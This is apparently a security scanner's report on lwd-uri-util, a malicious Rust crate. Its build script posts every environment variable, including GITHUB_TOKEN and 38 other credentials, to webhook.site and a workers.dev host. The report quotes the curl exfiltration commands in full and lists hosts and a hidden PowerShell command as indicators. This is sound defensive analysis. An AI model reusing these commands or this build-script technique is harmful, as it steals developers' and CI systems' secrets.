Skip to content
Open-Source Registry

cargo / lwd-uri-util / 0.1.1

lwd-uri-util 0.1.1

bitbison: flagged, behavior flagged, dependencies flagged, posture not checked, pipeline clean, 1 of 1 jobs captured RiskhighVulnshigh
processes
418
operations
4.8K
packages
5
compiler runs
1
connections
2
job time
4s
capture
61 KB
records
8.1K
bytes / record
7.5
run d229165a-9da4-417f-8940-0fc6f33e72aa · built 2026-11-10 · complete View on crates.io
Reviewed by Bitbison: denyThe build script of lwd-uri-util copies every environment variable, unfiltered, and posts it to hidden URLs, in every version; from 0.1.1 on it singles out machines that hold app-signing secrets.

Graph

credential-copied · high · in liblwd_uri_util.rlib
4

Checks

13 of 17 clear Network activity Sensitive data access and transfer +2 more
Build behavior▲▲✓✓✓▲✓✓✓✓✓
Supply chain▲✓✓✓✓
Pipeline✓

Detections

4
  • Install script left `curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-…` running
    curl
    high
  • lwd_uri_build_context.json, sent to https://webhook.site/0a60608b-63de-480c-a441-38a8d107a9ea, contains GITHUB_TOKEN and 38 other credentials
    lwd_uri_build_context.json
    high
  • lwd_uri_build_context.json, sent to https://session-check.sapho11.workers.dev/v1/tipcheck, contains GITHUB_TOKEN and 38 other credentials
    lwd_uri_build_context.json
    high
  • Build script sent files to session-check.sapho11.workers.dev +1
    lwd-uri-util 0.1.1 › session-check.sapho11.workers.dev:443, webhook.site:443
    high

Detection

highwitnessed

Install script left `curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-…` running

Unexpected build script activity

Subject
curl
Jobs
build-test, build-test
Rule
buildscript

Evidence

  1. Left a process runningcause

    `curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/out/lwd_uri_build_context.json https://webhook.site/0a60608b-63de-480c-a441-38a8d107a9ea` outlived the code that started it (4 processes), and connected to session-check.sapho11.workers.dev:443, webhook.site:443

    by curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/…

  2. Written by dependency build codesupport

    script: /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-2eb08f0b0f0149fe/build-script-build

Remediation

A package's code left a process of its own running after the code that started it was done: what it does from then on runs outside the install or the program that loaded it. Find the process on every machine that ran this install and stop it, review what it reached, and replace the package.

Detection

highwitnessed

lwd_uri_build_context.json, sent to https://webhook.site/0a60608b-63de-480c-a441-38a8d107a9ea, contains GITHUB_TOKEN and 38 other credentials

Credential copied by the build

Subject
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/out/lwd_uri_build_context.json
Reaches
Jobs
build-test
Rule
credential-copied

Evidence

  1. Credentials found in a file the build wrotecause

    GITHUB_TOKEN and 38 other credentials in /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/out/lwd_uri_build_context.json, written by build_script_build-2eb08f0b0f0149fe

    subject /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/out/lwd_uri_build_context.json

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-2eb08f0b0f0149fe/build-script-build

  2. Why it matterscontext

    Credentials were exposed in this file.

In liblwd_uri_util.rlib

Loading the graph

Processes

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-2eb08f0b0f0149fe/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1342
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1342
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-2eb08f0b0f0149fe/build-script-build1373

Remediation

Find why the file holds the credential and why it was sent: the credential has left the machine.

Detection

highwitnessed

lwd_uri_build_context.json, sent to https://session-check.sapho11.workers.dev/v1/tipcheck, contains GITHUB_TOKEN and 38 other credentials

Credential copied by the build

Subject
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-e1987d8c0b9e5bba/out/lwd_uri_build_context.json
Jobs
build-test
Rule
credential-copied

Evidence

  1. Credentials found in a file the build wrotecause

    GITHUB_TOKEN and 38 other credentials in /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-e1987d8c0b9e5bba/out/lwd_uri_build_context.json, written by build_script_build-80467a36e1eca6ea

    subject /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-e1987d8c0b9e5bba/out/lwd_uri_build_context.json

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-80467a36e1eca6ea/build-script-build

  2. Why it matterscontext

    Credentials were exposed in this file.

What came before it

Loading the graph

Processes

build-test

python3›cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-80467a36e1eca6ea/build-script-build
Invoked by
python3 -I /home/runner/work/_temp/exercise.py /home/runner/work/lwd-uri-util/lwd-uri-util /home/runner/work/_temp
Lineage · 4 processes
  1. python3python3 -I /home/runner/work/_temp/exercise.py /home/runner/work/lwd-uri-util/lwd-uri-util /home/runner/work/_temp 1510
  2. cargocargo build --release --offline --message-format=json1523
  3. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --offline --message-format=json1523
  4. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-80467a36e1eca6ea/build-script-build1547

Remediation

Find why the file holds the credential and why it was sent: the credential has left the machine.

Detection

highwitnessed

Build script sent files to session-check.sapho11.workers.dev +1

Unexpected network connection

Subject
lwd-uri-util 0.1.1
Destination
session-check.sapho11.workers.dev:443, webhook.site:443
Jobs
build-test
Rule
egress · lwd-uri-util

Witness chain

  1. /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/out/lwd_uri_build_context.json
    • What was sent

      sent /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/out/lwd_uri_build_context.json to webhook.site:443 through curl

    source
  2. session-check.sapho11.workers.dev:443via curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/
    • Connection outside the process’s allowed destinations

      connection to session-check.sapho11.workers.dev:443, opened by curl

    • What was sentfrom lwd_uri_build_context.json

      sent /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/out/lwd_uri_build_context.json to session-check.sapho11.workers.dev:443 through curl

    • Tool command

      Command: curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/…

    sink
  3. build
    artifact

Evidence

  1. Connection outside the process’s allowed destinationscause

    connection to webhook.site:443, opened by curl

    subject webhook.site:443

    by curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/…

  2. What a build script's fetch becamesupport

    nothing came down that the build kept

  3. Connection opened by a build script or child processsupport

    the opener descends from the build script at /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-2eb08f0b0f0149fe/build_script_build-2eb08f0b0f0149fe

  4. Tool commandsupport

    Command: curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/…

    by curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/…

  5. What kind of service the host issupport

    webhook.site:443: webhook.site

In liblwd_uri_util.rlib

Loading the graph

Processes

build-test

cargo›cargo›build-script-build›sh›curl

Ran
curl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/…
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 5 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1342
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1342
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-2eb08f0b0f0149fe/build-script-build1373
  4. sh/bin/sh -c (curl -s -X POST -H 'content-type: application/json' --data-binary @'/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca…1376
  5. curlcurl -s -X POST -H content-type: application/json --data-binary @/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-ca123924aa417bb9/…1381

Remediation

A dependency's build sent files out of the build. Review what went out and where; rotate anything secret among it and pin or replace the dependency.

Network

2 peers
  • session-check.sapho11.workers.dev:443 lwd-uri-util's own build code · curl (lwd-uri-util) · Cloudflare, Inc. undeclared
  • webhook.site:443 lwd-uri-util's own build code · curl (lwd-uri-util) · Hetzner Online GmbH undeclared
Vulnerabilities1Severity
lwd-uri-util
RUSTSEC-2026-0483`lwd-uri-util` was removed from crates.io for malicious codehigh

Dependencies

5
Dependencies5Build behavior
ld-linux-x86-64.so.2system library
libc.so.6system library
libgcc_s.so.1system library
libm.so.6system library
libmvec.so.1system library

Versions8

Raw data

capture
61 KB
records
8,132
bytes per record
7.5

Loading a sample of the capture

Want to see more? E-mail us at hello@bitbison.io about your use case.

1 of 1 jobs captured: build-test success · Generated 2026-11-10 · run d229165a-9da4-417f-8940-0fc6f33e72aa

analysis 0.1.0 · 2026-11-09 · 7b4199c · graph v2

Bitbison's review

Cargo build script exfiltrates the whole environment to attacker endpoints

Verdict
deny
Behaviors
malicious
Covers
Every version
Reviewed by
Bitbison
Updated
2026-11-10

The build script of lwd-uri-util copies every environment variable, unfiltered, and posts it to hidden URLs, in every version; from 0.1.1 on it singles out machines that hold app-signing secrets.

Indicators

hosts
api.sdklfghaljksdhfkjasdfhlasdhfjklasdf.xyzsession-check.sapho11.workers.devwebhook.site
files
build.rslwd_uri_build_context.json
processes
curl -s -X POST --data-binary @lwd_uri_build_context.json <url>powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command iwr ...

What was examined

0.1.0
sha256:129be19ca4d1d997d168af561e5cea12b0a401716a05720daf48072e470d7db5
0.1.1
sha256:10304aa2c167bb0d66800020fb1f983bc62bb5bec89239de9fddb129b523149a
0.1.2
sha256:6d35f023e3d87f8d4bc91a3bc670ae4681e9d85937146b9b0683d0f33eb0f55a
0.1.3
sha256:80c54ff4fe231c363db0c75cbb81f566ea4d10c266ec594165d840df13ab0973
0.1.4
sha256:476a207e057ec463ff045a2c0115c8a34ea8eab70e0abe4c1efd90ceb8b5161c